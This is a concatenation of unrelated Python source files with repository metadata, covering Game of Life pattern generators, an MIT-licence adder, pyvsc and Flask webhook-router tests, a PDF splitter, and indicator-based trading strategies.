random_fourcolor(rows, cols, seed=None): """ Generate a random four-color list life initialization. Returns: four listlife strings, with the random initializations. (8-20% of all cells are alive). Strategy: generate a set of (x,y) tuples, convert to list, split in four. Use those point sets to create listLife URL strings. """ if seed is not None: random.seed(seed) density = random.randint(8, 18) / 100.0 ncells = rows * cols nlivecells = 4 * ((density * ncells) // 4) points = set() while len(points) < nlivecells: randy = random.randint(0, rows - 1) randx = random.randint(0, cols - 1) points.add((randx, randy)) points = list(points) pattern_urls = [] # Loop over each team for i in range(4): # Subselection of points q = len(points) // 4 start_ix = i * q end_ix = (i + 1) * q this_points = set(points[start_ix:end_ix]) # Assemble pattern this_pattern = [] for y in range(rows): this_row = [] for x in range(cols): if (x, y) in this_points: this_row.append("o") else: this_row.append(".") this_rowstr = "".join(this_row) this_pattern.append(this_rowstr) this_url = pattern2url(this_pattern) pattern_urls.append(this_url) return tuple(pattern_urls) @retry_on_failure def randommethuselahs_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) patterns = rainbow_methuselah_quadrants_pattern(rows, cols, seed) result = (pattern2url(pat) for pat in patterns) return result @retry_on_failure def orchard_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) mindim = min(rows, cols) if mindim < 150: mc = [4, 9] else: mc = [4, 9, 16] count = random.choice(mc) patterns = rainbow_methuselah_quadrants_pattern( rows, cols, seed, methuselah_counts=[count], fixed_methuselah="acorn" ) urls = (pattern2url(p) for p in patterns) return urls @retry_on_failure def justyna_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) mc = [1] count = random.choice(mc) patterns = rainbow_methuselah_quadrants_pattern( rows, cols, seed, methuselah_counts=[count], fixed_methuselah="justyna" ) urls = (pattern2url(p) for p in patterns) return urls @retry_on_failure def rabbits_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) mindim = min(rows, cols) if mindim < 150: mc = [1, 2] else: mc = [1, 2, 3] count = random.choice(mc) patterns = rainbow_methuselah_quadrants_pattern( rows, cols, seed, methuselah_counts=[count], fixed_methuselah="rabbit" ) urls = (pattern2url(p) for p in patterns) return urls @retry_on_failure def multum_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) mindim = min(rows, cols) if mindim < 150: mc = [1, 2] else: mc = [2, 3, 4] count = random.choice(mc) patterns = rainbow_methuselah_quadrants_pattern( rows, cols, seed, methuselah_counts=[count], fixed_methuselah="multuminparvo" ) urls = (pattern2url(p) for p in patterns) return urls @retry_on_failure def eightx_fourcolor(rows, cols, seed=None): fmap = { "eightb": _eightb_fourcolor, "eightc": _eightc_fourcolor, "eighte": _eighte_fourcolor, "eightr": _eightr_fourcolor, "eightpi": _eightpi_fourcolor, } k = random.choice(list(fmap.keys())) return fmap[k](rows, cols, seed) def _eightb_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) patterns = rainbow_jitteryrow_pattern(rows, cols, seed, "bheptomino") urls = (pattern2url(p) for p in patterns) return urls def _eightc_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) patterns = rainbow_jitteryrow_pattern(rows, cols, seed, "cheptomino") urls = (pattern2url(p) for p in patterns) return urls def _eighte_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) patterns = rainbow_jitteryrow_pattern(rows, cols, seed, "eheptomino", spacing=7) urls = (pattern2url(p) for p in patterns) return urls def _eightpi_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) patterns = rainbow_jitteryrow_pattern(rows, cols, seed, "piheptomino") urls = (pattern2url(p) for p in patterns) return urls def _eightr_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) patterns = rainbow_jitteryrow_pattern(rows, cols, seed, "rpentomino") urls = (pattern2url(p) for p in patterns) return urls @retry_on_failure def patiolights_fourcolor(rows, cols, seed=None): """ Patio lights pattern is a line segments with boxes placed randomly along the segment, like a string of lights """ if seed is not None: random.seed(seed) urls = [] thickness = random.randint(2, 3) nteams = 4 # Find the y locations of each light string: # Divide rows into Nteams + 1 parts with Nteams slices # Place the light strings at the slices jittery = 5 lightstring_ys = [ ((i + 1) * rows) // (nteams + 1) + random.randint(-jittery, jittery) for i in range(nteams) ] # Randomize order of light string team assignments random.shuffle(lightstring_ys) # I dunno def _get_bounds(z, dim): zstart = z - dim // 2 zend = z + (dim - dim // 2) return zstart, zend for iteam in range(nteams): team_pattern = get_grid_empty(rows, cols, flat=False) # Assemble the light string lightstring_y = lightstring_ys[iteam] for ix in range(0, cols): for iy in range(lightstring_y - 1, lightstring_y + thickness): team_pattern[iy][ix] = "o" for ix in range(0, cols): for iy in range(lightstring_y - 1, lightstring_y + thickness): team_pattern[iy][ix] = "o" # Add some lights to the string jitterx = 4 bounds = (lightstring_y - 1, lightstring_y + thickness) maxy = max(bounds) miny = min(bounds) ylightstop = miny - random.randint(2, 3) ylightsbot = maxy + random.randint(2, 3) ix = random.randint(4, 12) while ix < cols - 1: if random.random() < 0.50: team_pattern[ylightsbot][ix] = "o" team_pattern[ylightsbot][ix + 1] = "o" team_pattern[ylightsbot + 1][ix] = "o" team_pattern[ylightsbot + 1][ix + 1] = "o" else: team_pattern[ylightstop][ix] = "o" team_pattern[ylightstop][ix + 1] = "o" team_pattern[ylightstop - 1][ix] = "o" team_pattern[ylightstop - 1][ix + 1] = "o" ix += random.randint(10, 12) + random.randint(-jitterx, jitterx) pattern_url = pattern2url(team_pattern) urls.append(pattern_url) return tuple(urls) @retry_on_failure def rainbow_fourcolor(rows, cols, seed=None): return _rainburst_fourcolor(rows, cols, seed, sunburst=False) @retry_on_failure def sunburst_fourcolor(rows, cols, seed=None): return _rainburst_fourcolor(rows, cols, seed, sunburst=True) def _rainburst_fourcolor(rows, cols, seed=None, sunburst=False): """ Create a Gaussian normal distribution in the top left and bottom right quadrants, then slice it into radial pieces, which makes a nice rainbow shape. """ SMOL = 1e-12 if seed is not None: random.seed(seed) # Algorithm: # set the slope # generate (x, y) points # if slope < 1/g, A # if slope < 1, B # if slope < g: C # else: D density = random.randint(8, 18)/100.0 nteams = 4 ncells = rows * cols npointsperteam = (ncells//nteams)*density nlivecells = nteams*npointsperteam centerx = cols // 2 centery = rows // 2 teams_points = [] g = 2.5 slope_checks = [ 0, 1/g, 1, g, ] urls = [] for iteam in range(nteams): team_points = set() while len(team_points) < npointsperteam: randx = int(random.gauss(centerx, centerx // 2)) randy = int(random.gauss(centery, centery // 2)) slope = (randy - centery) / (randx - centerx + SMOL) if iteam==0: if slope > slope_checks[iteam] and slope < slope_checks[iteam+1]: team_points.add((randx, randy)) elif iteam==1: if slope > slope_checks[iteam] and slope < slope_checks[iteam+1]: team_points.add((randx, randy)) elif iteam==2: if slope > slope_checks[iteam] and slope < slope_checks[iteam+1]: team_points.add((randx, randy)) elif iteam==3: if slope > slope_checks[iteam]: team_points.add((randx, randy)) team_pattern = [] for y in range(rows): team_row = [] for x in range(cols): if (x, y) in team_points: team_row.append("o") else: team_row.append(".") team_row_str = "".join(team_row) team_pattern.append(team_row_str) if sunburst and iteam%2==0: team_pattern = vflip_pattern(team_pattern) team_url = pattern2url(team_pattern) urls.append(team_url) random.shuffle(urls) return tuple(urls) @retry_on_failure def timebomb_fourcolor(rows, cols, seed=None): return _timebomb_fourcolor(rows, cols, revenge=False, seed=seed) @retry_on_failure def timebomb2_fourcolor(rows, cols, seed=None): return _timebomb_fourcolor(rows, cols, revenge=True, seed=seed) def _timebomb_fourcolor(rows, cols, revenge, seed=None): if seed is not None: random.seed(seed) mindim = min(rows, cols) # Geometry # L = length scale L = 20 centerx = cols // 2 centery = rows // 2 # Each team gets one oscillator and one timebomb nteams = 4 team_assignments = list(range(nteams)) random.shuffle(team_assignments) def _get_oscillator_name(): if revenge: oscillators = ["airforce", "koksgalaxy", "dinnertable", "vring64", "harbor"] which_oscillator = random.choice(oscillators) else: which_oscillator = "quadrupleburloaferimeter" return which_oscillator rotdegs = [0, 90, 180, 270] urls = [None, None, None, None] for iteam in range(nteams): # Location: # x = center + a*L # y = center + b*L # QI: a = 1, b = 1 # QII: a = -1, b = 1 # QIII: a = -1, b = -1 # QIV: a = 1, b = -1 if iteam==0 or iteam==3: a = 1 else: a = -1 if iteam==0 or iteam==1: b = 1 else: b = -1 osc_x = centerx + a*L osc_y = centery + b*L bomb_x = centerx + 2*a*L bomb_y = centery + 2*b*L # jitter for patterns osc_jitter_x = 3 osc_jitter_y = 3 timebomb_jitter_x = 6 timebomb_jitter_y = 6 osc_pattern = get_grid_pattern( _get_oscillator_name(), rows, cols, xoffset=osc_x + random.randint(-osc_jitter_x, osc_jitter_x), yoffset=osc_y + random.randint(-osc_jitter_y, osc_jitter_y), rotdeg=random.choice(rotdegs), ) bomb_pattern = get_grid_pattern( "timebomb", rows, cols, xoffset=bomb_x + random.randint(-timebomb_jitter_x, timebomb_jitter_x), yoffset=bomb_y + random.randint(-timebomb_jitter_y, timebomb_jitter_y), rotdeg=random.choice(rotdegs), ) team_pattern = pattern_union([osc_pattern, bomb_pattern]) team_url = pattern2url(team_pattern) team_ix = team_assignments[iteam] urls[team_ix] = team_url return tuple(urls) def crabs_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) rotdegs = [0, 90, 180, 270] jitter = 1 # 8 crabs total centerys = [rows//4, 3*rows//4] centerxs = [cols//5, 2*cols//5, 3*cols//5, 4*cols//5] nteams = 4 team_assignments = list(range(nteams)) random.shuffle(team_assignments) crab_patterns = [[], [], [], []] for i, (centerx, centery) in enumerate(itertools.product(centerxs, centerys)): imod4 = i%4 crabcenterx = centerx + random.randint(-jitter, jitter) crabcentery = centery + random.randint(-jitter, jitter) crab = get_grid_pattern( "crabstretcher", rows, cols, xoffset=crabcenterx, yoffset=crabcentery, hflip=(random.random() < 0.5), vflip=(random.random() < 0.5), rotdeg=random.choice(rotdegs), ) team_ix = team_assignments[imod4] team_pattern = crab_patterns[team_ix] team_pattern.append(crab) crab_patterns[team_ix] = team_pattern pattern_unions = [pattern_union(pl) for pl in crab_patterns] urls = [pattern2url(pu) for pu in pattern_unions] return tuple(urls) def quadgaussian_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) # Lower bound of 0.10, upper bound of 0.15 density = 0.10 + random.random() * 0.05 ncells = rows * cols nlivecells = ((ncells * density)//4)*4 nlivecellspt = nlivecells // 4 # Variable blobbiness stdx = cols// random.randint(8, 16) stdy = rows// random.randint(8, 16) jitter = 5 nteams = 4 team_assignments = list(range(nteams)) random.shuffle(team_assignments) centerxs = [cols//4, 3*cols//4] centerys = [rows//4, 3*rows//4] urls = [None, None, None, None] master_points = set() for i, (centerx, centery) in enumerate(itertools.product(centerxs, centerys)): team_ix = team_assignments[i] cx = centerx + random.randint(-jitter, jitter) cy = centery + random.randint(-jitter, jitter) team_points = set() while len(team_points) < nlivecellspt: randx = int(random.gauss(cx, stdx)) randy = int(random.gauss(cy, stdy)) if (randx >= 0 and randx < cols) and (randy >= 0 and randy < rows): if (randx, randy) not in master_points: team_points.add((randx, randy)) master_points.add((randx, randy)) # Assemble the circle dot diagram for team team_pattern = [] for y in range(rows): this_row = [] for x in range(cols): if (x, y) in team_points: this_row.append("o") else: this_row.append(".") this_rowstr = "".join(this_row) team_pattern.append(this_rowstr) team_url = pattern2url(team_pattern) urls[team_ix] = team_url return tuple(urls) #@retry_on_failure def rainbowmath_fourcolor(rows, cols, seed=None): if seed is not None: random.seed(seed) def is_prime(n): n = abs(n) if n == 2 or n == 3: return True if n < 2 or n%2 == 0: return False if n < 9: return True if n%3 == 0: return False r = int(n**0.5) # since all primes > 3 are of the form 6n ± 1 # start with f=5 (which is prime) # and test f, f+2 for being prime # then loop by 6. f = 5 while f <= r: if n % f == 0: return False if n % (f+2) == 0: return False f += 6 return True def is_not_prime(n): return not is_prime(n) # Random choice of which form to use coin = random.randint(1,8) if coin == 1: p = random.choice([k*k for k in [5, 7, 9, 11]]) f = lambda x, y: int(is_not_prime((x*x & y*y) % p)) elif coin == 2: # Linked diagonals of boxes ab = [3, 4, 5] a = random.choice(ab) b = random.choice(ab) cs = [16, 18, 20, 22] c = random.choice(cs) p = 7 f = lambda x, y: int((x//a ^ y//a)*c % p) elif coin == 3: # Linked diagonals of very large boxes ab = [9, 10, 11] a = random.choice(ab) b = random.choice(ab) cs = [16, 18, 20, 22] c = random.choice(cs) p = 7 f = lambda x, y: int((x//a ^ y//a)*c % p) elif coin == 4: # Sterpinsky triangles ps = [7, 11, 13, 15, 35, 37] p = random.choice(ps) f = lambda x, y: int((x & y) % p) elif coin == 5: # This is a one-off that's in perfect sync and makes wild patterns a = 3 b = 3 p = 99 f = lambda x, y: int((a**x)%p & (b**y)%p) elif coin == 6: a = random.randint(1,10) b = random.randint(1,10) p = 99 f = lambda x, y: int(is_not_prime((a*x & b*y) % p)) elif coin == 7: ps = [81, 83, 85, 87, 89, 91, 93, 95, 97, 99] p = random.choice(ps) f = lambda x, y: int(is_not_prime((x//(y+1) ^ y) % p)) elif coin == 8: ps = [69, 99, 299, 699, 999] p = random.choice(ps) f = lambda x, y: int(is_not_prime((x*x//(y+1)) % p)) xoffset = 0 yoffset = 0 team_patterns = _expression_pattern( rows, cols, seed, f, xoffset=xoffset, yoffset=yoffset, ) urls = [pattern2url(pat) for pat in team_patterns] for url in urls: if url == "[]": raise GollyXPatternsError("Error with bitfield: everything is empty") return tuple(urls) def _expression_pattern( rows, cols, seed, f_handle, xoffset=0, yoffset=0, ): nteams = 4 # These store the the .o diagrams (flat=False means these are lists of lists of one char) team_patterns = [] for i in range(nteams): tp = get_grid_empty(rows,cols,flat=False) team_patterns.append(tp) # Assemble a list of cells that are alive at the roots of f (if f returns 0) coordinates = [] for xtrue in range(0, cols): for ytrue in range(0, rows): xtransform = xtrue - xoffset ytransform = ytrue - yoffset if f_handle(xtransform, ytransform) == 0: coordinates.append((xtrue, ytrue)) # Shuffle live cell cordinates random.shuffle(coordinates) # Assign live cell coordinates to teams using serpentine pattern team_order = list(range(nteams)) random.shuffle(team_order) serpentine_pattern = list(team_order) + list(reversed(team_order)) for i, (x, y) in enumerate(coordinates): serp_ix = i % len(serpentine_pattern) team_ix = serpentine_pattern[serp_ix] team_patterns[team_ix][y][x] = "o" return team_patterns

27.946895

113

0.540562

0

5,212

0.152362

0

4,265

0.124678

a1e396a0fe0bfe84f4e348a5cd7eab9d9e2a1638

2,962

py

Python

filemanipulator.py

paulkramme/mit-license-adder

1865413c1932a3108883dc2b77c67608d56be275

[ "MIT" ]

null

filemanipulator.py

paulkramme/mit-license-adder

1865413c1932a3108883dc2b77c67608d56be275

[ "MIT" ]

null

filemanipulator.py

paulkramme/mit-license-adder

1865413c1932a3108883dc2b77c67608d56be275

[ "MIT" ]

null

#!/usr/bin/python2 import tempfile import sys import datetime mit_license = ("""\ /* MIT License Copyright (c) 2016 Paul Kramme Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ """) class FileModifierError(Exception): pass class FileModifier(object): def __init__(self, fname): self.__write_dict = {} self.__filename = fname self.__tempfile = tempfile.TemporaryFile() with open(fname, 'rb') as fp: for line in fp: self.__tempfile.write(line) self.__tempfile.seek(0) def write(self, s, line_number = 'END'): if line_number != 'END' and not isinstance(line_number, (int, float)): raise FileModifierError("Line number %s is not a valid number" % line_number) try: self.__write_dict[line_number].append(s) except KeyError: self.__write_dict[line_number] = [s] def writeline(self, s, line_number = 'END'): self.write('%s\n' % s, line_number) def writelines(self, s, line_number = 'END'): for ln in s: self.writeline(s, line_number) def __popline(self, index, fp): try: ilines = self.__write_dict.pop(index) for line in ilines: fp.write(line) except KeyError: pass def close(self): self.__exit__(None, None, None) def __enter__(self): return self def __exit__(self, type, value, traceback): with open(self.__filename,'w') as fp: for index, line in enumerate(self.__tempfile.readlines()): self.__popline(index, fp) fp.write(line) for index in sorted(self.__write_dict): for line in self.__write_dict[index]: fp.write(line) self.__tempfile.close() filename = sys.argv[1] #license = sys.argv[1] print "Licenseadder by Paul Kramme" with FileModifier(filename) as fp: fp.writeline(mit_license, 0)

32.911111

89

0.668467

1,648

0.556381

0

1,222

0.412559

a1e520db04d481d770fcb8c7ed4dbac6d857ce44

4,048

py

Python

ve/unit/test_list_scalar.py

aneels3/pyvsc

692fa2baa9cc0251411b3a8ace2854b7e65c288a

[ "Apache-2.0" ]

null

ve/unit/test_list_scalar.py

aneels3/pyvsc

692fa2baa9cc0251411b3a8ace2854b7e65c288a

[ "Apache-2.0" ]

null

ve/unit/test_list_scalar.py

aneels3/pyvsc

692fa2baa9cc0251411b3a8ace2854b7e65c288a

[ "Apache-2.0" ]

null

''' Created on Jun 21, 2020 @author: ballance ''' import vsc from vsc_test_case import VscTestCase from vsc.visitors.model_pretty_printer import ModelPrettyPrinter class TestListScalar(VscTestCase): @vsc.randobj class my_item_c(object): def __init__(self): self.fixed = vsc.rand_list_t(vsc.bit_t(8), sz=4) self.dynamic = vsc.randsz_list_t(vsc.bit_t(8)) self.queue = vsc.randsz_list_t(vsc.bit_t(8)) def test_randsz_smoke(self): @vsc.randobj class my_item_c(object): def __init__(self): self.l = vsc.randsz_list_t(vsc.uint8_t()) @vsc.constraint def l_c(self): self.l.size in vsc.rangelist(vsc.rng(2,10)) self.l[1] == (self.l[0]+1) it = my_item_c() it.randomize() print("it.l.size=" + str(it.l.size)) for i,v in enumerate(it.l): print("v[" + str(i) + "] = " + str(v)) self.assertEqual(it.l[1], it.l[0]+1) def test_randsz_len(self): @vsc.randobj class my_item_c(object): def __init__(self): self.l = vsc.randsz_list_t(vsc.uint8_t()) @vsc.constraint def l_c(self): self.l.size in vsc.rangelist(vsc.rng(2,10)) self.l[1] == (self.l[0]+1) it = my_item_c() it.randomize() self.assertGreaterEqual(len(it.l), 2) self.assertLessEqual(len(it.l), 10) print("it.l.size=" + str(it.l.size)) for i,v in enumerate(it.l): print("v[" + str(i) + "] = " + str(v)) self.assertEqual(it.l[1], it.l[0]+1) def test_randsz_foreach_idx(self): @vsc.randobj class my_item_c(object): def __init__(self): self.l = vsc.randsz_list_t(vsc.uint8_t()) self.a = vsc.rand_uint8_t() @vsc.constraint def l_c(self): self.l.size in vsc.rangelist(vsc.rng(2,10)) with vsc.foreach(self.l, it=False, idx=True) as idx: with vsc.if_then(idx > 0): self.l[idx] == self.l[idx-1]+1 it = my_item_c() it.randomize() for i in range(len(it.l)): if i > 0: self.assertEqual(it.l[i], it.l[i-1]+1) def test_fixedsz_foreach_idx(self): @vsc.randobj class my_item_c(object): def __init__(self): self.a = vsc.rand_uint8_t() self.b = vsc.rand_uint8_t() self.temp = vsc.list_t(vsc.uint8_t()) self.temp = [1,3,4,12,13,14] @vsc.constraint def ab_c(self): self.a in vsc.rangelist(1,2,3) with vsc.foreach(self.temp, idx=True) as i: self.a != self.temp[i] it = my_item_c() for i in range(10): it.randomize() self.assertEqual(it.a, 2) def disabled_test_sum_simple(self): @vsc.randobj class my_item_c(object): def __init__(self): self.l = vsc.rand_list_t(vsc.uint8_t(), sz=5) self.a = vsc.rand_uint8_t() @vsc.constraint def sum_c(self): self.l.sum == 5 with vsc.foreach(self.l) as it: it != 0 it = my_item_c() it.randomize() print("Model: " + ModelPrettyPrinter.print(it.get_model())) self.assertEqual(it.l.sum, 5)

27.726027

68

0.447381

3,873

0.956769

0

2,376

0.586957

0

103

0.025445

a1e5a8c1e742d2b35abb789d741addea637b7ba0

5,344

py

Python

config-server/test.py

wtsi-hgi/webhook-router

a36987055ec4c1bcb443d391807c6469e3d21ba8

[ "MIT" ]

2

2017-11-21T11:16:44.000Z

2022-01-05T23:17:50.000Z

config-server/test.py

wtsi-hgi/webhook-router

a36987055ec4c1bcb443d391807c6469e3d21ba8

[ "MIT" ]

14

2017-10-17T16:05:39.000Z

2022-02-12T02:42:49.000Z

config-server/test.py

wtsi-hgi/webhook-router

a36987055ec4c1bcb443d391807c6469e3d21ba8

[ "MIT" ]

null

import json from configserver import ConfigServer, get_postgres_db from configserver.errors import InvalidRouteUUIDError from flask.testing import FlaskClient import pytest from peewee import SqliteDatabase import logging from uuid import uuid4 import functools from typing import Iterable @pytest.fixture(autouse=True) def no_logs(): logging.getLogger().setLevel(logging.WARNING) @pytest.fixture() def webhook_server(): with open("config.json") as config_file: config_JSON = json.load(config_file) server = ConfigServer( use_test_auth=True, db=get_postgres_db(), config_JSON=config_JSON ) yield server server.close() @pytest.fixture() def user_auth(): return { "headers": { "user": f"test_user{uuid4()}@example.ac.uk" } } @pytest.fixture() def router_app(webhook_server, user_auth): test_client = webhook_server.app.app.test_client() # type: FlaskClient class PatchedFlaskClient: get = functools.partialmethod(test_client.get, **user_auth) delete = functools.partialmethod(test_client.delete, **user_auth) post = functools.partialmethod(test_client.post, **user_auth) patch = functools.partialmethod(test_client.patch, **user_auth) return PatchedFlaskClient @pytest.fixture() def test_route_uuid(webhook_server: ConfigServer, router_app: FlaskClient) -> Iterable[str]: create_route_resp = router_app.post( "/create-route", data=json.dumps({ "name": "route", "destination": "http://127.0.0.1" }), content_type='application/json' ) uuid = json.loads(create_route_resp.data)["uuid"] try: yield uuid finally: router_app.delete(f"/routes/{uuid}") def test_create_route(router_app: FlaskClient): create_route_resp = router_app.post( "/create-route", data=json.dumps({ "name": "route", "destination": "http://127.0.0.1" }), content_type='application/json' ) assert create_route_resp.status_code == 201 def test_get(router_app: FlaskClient, test_route_uuid: str): assert router_app.get(f"/routes/{test_route_uuid}").status_code == 200 def test_get_by_token(router_app: FlaskClient, test_route_uuid: str): token = json.loads(router_app.get(f"/routes/{test_route_uuid}").data)["token"] assert router_app.get(f"/routes/token/{token}").status_code == 200 def test_patch(router_app: FlaskClient, test_route_uuid: str): assert router_app.patch( f"/routes/{test_route_uuid}", data=json.dumps({ "name": "new-name" }), content_type='application/json', ).status_code == 204 assert json.loads(router_app.get(f"/routes/{test_route_uuid}").data)["name"] == "new-name" @pytest.mark.usefixtures("test_route_uuid") def test_get_all(router_app: FlaskClient): all_routes_resp = router_app.get("/routes") assert all_routes_resp.status_code == 200 data = json.loads(all_routes_resp.data) assert len(data) == 1 and data[0]["name"] == "route" def test_delete(router_app: FlaskClient, test_route_uuid: str): assert router_app.delete(f"/routes/{test_route_uuid}").status_code == 204 assert router_app.get(f"/routes/{test_route_uuid}").status_code == 404 def test_regenerate(router_app: FlaskClient, test_route_uuid: str): prev_token = json.loads(router_app.get(f"/routes/{test_route_uuid}").data)["token"] resp = router_app.post(f"/routes/{test_route_uuid}/regenerate") assert resp.status_code == 200 assert json.loads(resp.data)["token"] != prev_token def test_add_user_link(router_app: FlaskClient, test_route_uuid: str): test_auth = { "headers": { "user": "other_user-p@example.com" } } assert router_app.post(f"/links/{test_route_uuid}", **test_auth).status_code == 201 assert len(json.loads(router_app.get("/routes", **test_auth).data)) == 1 def test_get_user_link(router_app: FlaskClient, test_route_uuid: str): test_auth = { "headers": { "user": "other_user-p@example.com" } } assert router_app.get(f"/links/{test_route_uuid}", **test_auth).status_code == 404 assert router_app.get(f"/links/{test_route_uuid}").status_code == 200 def test_remove_user_link(router_app: FlaskClient, test_route_uuid: str): test_auth = { "headers": { "user": "other_user-p@example.com" } } test_add_user_link(router_app, test_route_uuid) assert router_app.delete(f"/links/{test_route_uuid}", **test_auth).status_code == 204 assert len(json.loads(router_app.get("/routes", **test_auth).data)) == 0 def test_get_route_stats(router_app: FlaskClient, test_route_uuid: str): assert router_app.get(f"/routes/{test_route_uuid}/statistics").status_code == 200 def test_get_route_logs(router_app: FlaskClient, test_route_uuid: str): assert router_app.get(f"/routes/{test_route_uuid}/logs").status_code == 200 @pytest.mark.usefixtures("test_route_uuid") def test_all_routes_stats(router_app: FlaskClient): assert router_app.get(f"/routes/statistics").status_code == 200 def test_all_routes_stats_with_no_stats(router_app: FlaskClient): assert router_app.get(f"/routes/statistics").status_code == 200

31.621302

94

0.691804

309

0.057822

730

0.136602

1,927

0.360591

0

1,008

0.188623

a1e5ccbd0c595e22be2f8bf21bf5897f8d70355d

1,318

py

Python

Scripts/spliter.py

sawa25/PDFs-TextExtract

bdc4469deab8b023135165ce8dbc63577927a508

[ "MIT" ]

87

2020-05-08T00:04:17.000Z

2022-03-27T11:39:04.000Z

Scripts/spliter.py

tzo13123/PDFs-TextExtract

3d00b7b4007557e1467fb5aca8bf8e37513de124

[ "MIT" ]

5

2020-06-24T13:22:37.000Z

2021-04-10T21:39:32.000Z

Scripts/spliter.py

tzo13123/PDFs-TextExtract

3d00b7b4007557e1467fb5aca8bf8e37513de124

[ "MIT" ]

49

2020-05-08T00:08:01.000Z

2022-02-04T21:04:03.000Z

import os from PyPDF2 import PdfFileReader, PdfFileWriter #Solution based in two functions: #1.pdf remove : Remove existed pdf documents(result for your last split operation) #2.pdf splitter : Split your main pdf document into group of documents. def pdf_remove (length): for i in range(length): os.remove("../PDFs-TextExtract/split/{}".format(fname[i])) #Remove existed pdf documents in folder. print("Deleted: ../PDFs-TextExtract/split/{}".format(fname[i])) def pdf_splitter(path): fname = os.path.splitext(os.path.basename(path))[0] pdf = PdfFileReader(path) for page in range(pdf.getNumPages()): pdf_writer = PdfFileWriter() pdf_writer.addPage(pdf.getPage(page)) output_filename = '../PDFs-TextExtract/split/{}.pdf'.format(page+1) with open(output_filename, 'wb') as out: pdf_writer.write(out) print('Created: {}'.format(output_filename)) if __name__ == '__main__': path = '../PDFs-TextExtract/pdf_merged.pdf' #specifiy your main pdf document path. fname = os.listdir('../PDFs-TextExtract/split/') #fname: List contain pdf documents names in folder length = len(fname) #Retrieve List fname Length. #call pdf remove function pdf_remove(length) #call pdf splitter function pdf_splitter(path)

32.95

107

0.69044

0

588

0.446131

a1e6051e4e110799735dcb4615879dd95634d238

107

py

Python

swagger_client/apis/__init__.py

sendx/sendx-api-python

edce9755d3718efb12cb5493da7cbac961cb1d9b

[ "Apache-2.0" ]

null

swagger_client/apis/__init__.py

sendx/sendx-api-python

edce9755d3718efb12cb5493da7cbac961cb1d9b

[ "Apache-2.0" ]

null

swagger_client/apis/__init__.py

sendx/sendx-api-python

edce9755d3718efb12cb5493da7cbac961cb1d9b

[ "Apache-2.0" ]

null

from __future__ import absolute_import # import apis into api package from .contact_api import ContactApi

21.4

38

0.841121

0

30

0.280374

a1e9308fe3ee5db7d2721276c33a44e2c57e6e80

3,915

py

Python

strategy/overreact_strategy.py

tseng1026/SideProject-Investment

e7135e667cdee16d1d754ca0f9ebd88226083e66

[ "MIT" ]

null

strategy/overreact_strategy.py

tseng1026/SideProject-Investment

e7135e667cdee16d1d754ca0f9ebd88226083e66

[ "MIT" ]

null

strategy/overreact_strategy.py

tseng1026/SideProject-Investment

e7135e667cdee16d1d754ca0f9ebd88226083e66

[ "MIT" ]

null

from typing import Callable import numpy as np from constants.constants import IndicatorType from strategy.base import BaseStrategy class OverReactStrategy(BaseStrategy): def trade_by_indicator( self, indicator_type: IndicatorType) -> Callable[[], np.ndarray]: """ Get trading strategy function.""" if (indicator_type == IndicatorType.RSI): return self.trade_by_rsi elif (indicator_type == IndicatorType.MFI): return self.trade_by_mfi elif (indicator_type == IndicatorType.WILLR): return self.trade_by_willr else: raise Exception("The strategy logic is unsupported.") def trade_by_mfi( self, timeperiod: int = 14, lowerbound: float = 30, upperbound: float = 70, ) -> np.ndarray: """ Consider overreact duration to be trading time. 1. buy when mfi is smaller than lower bound 2. sell when mfi is larger than upper bound args: timeperiod (int) [unit: times of the data interval] lowerbound (float) the lower threshold implies oversold upperbound (float) the upper threshold implies overbought returns: singal (np.ndarray): signal for trading points (1 for buying and -1 for selling) """ mfi = self.indicator.mfi(timeperiod=timeperiod) return self._get_signals(mfi, lowerbound=lowerbound, upperbound=upperbound) def trade_by_rsi( self, timeperiod: int = 14, lowerbound: float = 30, upperbound: float = 70, ) -> np.ndarray: """ Consider overreact duration to be trading time. 1. buy when rsi is smaller than lower bound 2. sell when rsi is larger than upper bound args: timeperiod (int) [unit: times of the data interval] lowerbound (float) the lower threshold implies oversold upperbound (float) the upper threshold implies overbought returns: singal (np.ndarray): signal for trading points (1 for buying and -1 for selling) """ rsi = self.indicator.rsi(timeperiod=timeperiod) return self._get_signals(rsi, lowerbound=lowerbound, upperbound=upperbound) def trade_by_willr( self, timeperiod: int = 14, lowerbound: float = 30, upperbound: float = 70, ) -> np.ndarray: """ Consider overreact duration to be trading time. 1. buy when willr is smaller than lower bound 2. sell when willr is larger than upper bound args: timeperiod (int) [unit: times of the data interval] lowerbound (float) the lower threshold implies oversold upperbound (float) the upper threshold implies overbought returns: singal (np.ndarray): signal for trading points (1 for buying and -1 for selling) """ willr = self.indicator.willr(timeperiod=timeperiod) return self._get_signals(willr, lowerbound=lowerbound, upperbound=upperbound) def _get_signals( self, line: np.ndarray, lowerbound: float, upperbound: float, ) -> np.ndarray: """ args: line (np.ndarray): line, e.g. 10 MA lowerbound (float): threshold for oversold upperbound (float): threshold for overbought returns: singal (np.ndarray): signal for trading points (1 for buying and -1 for selling) 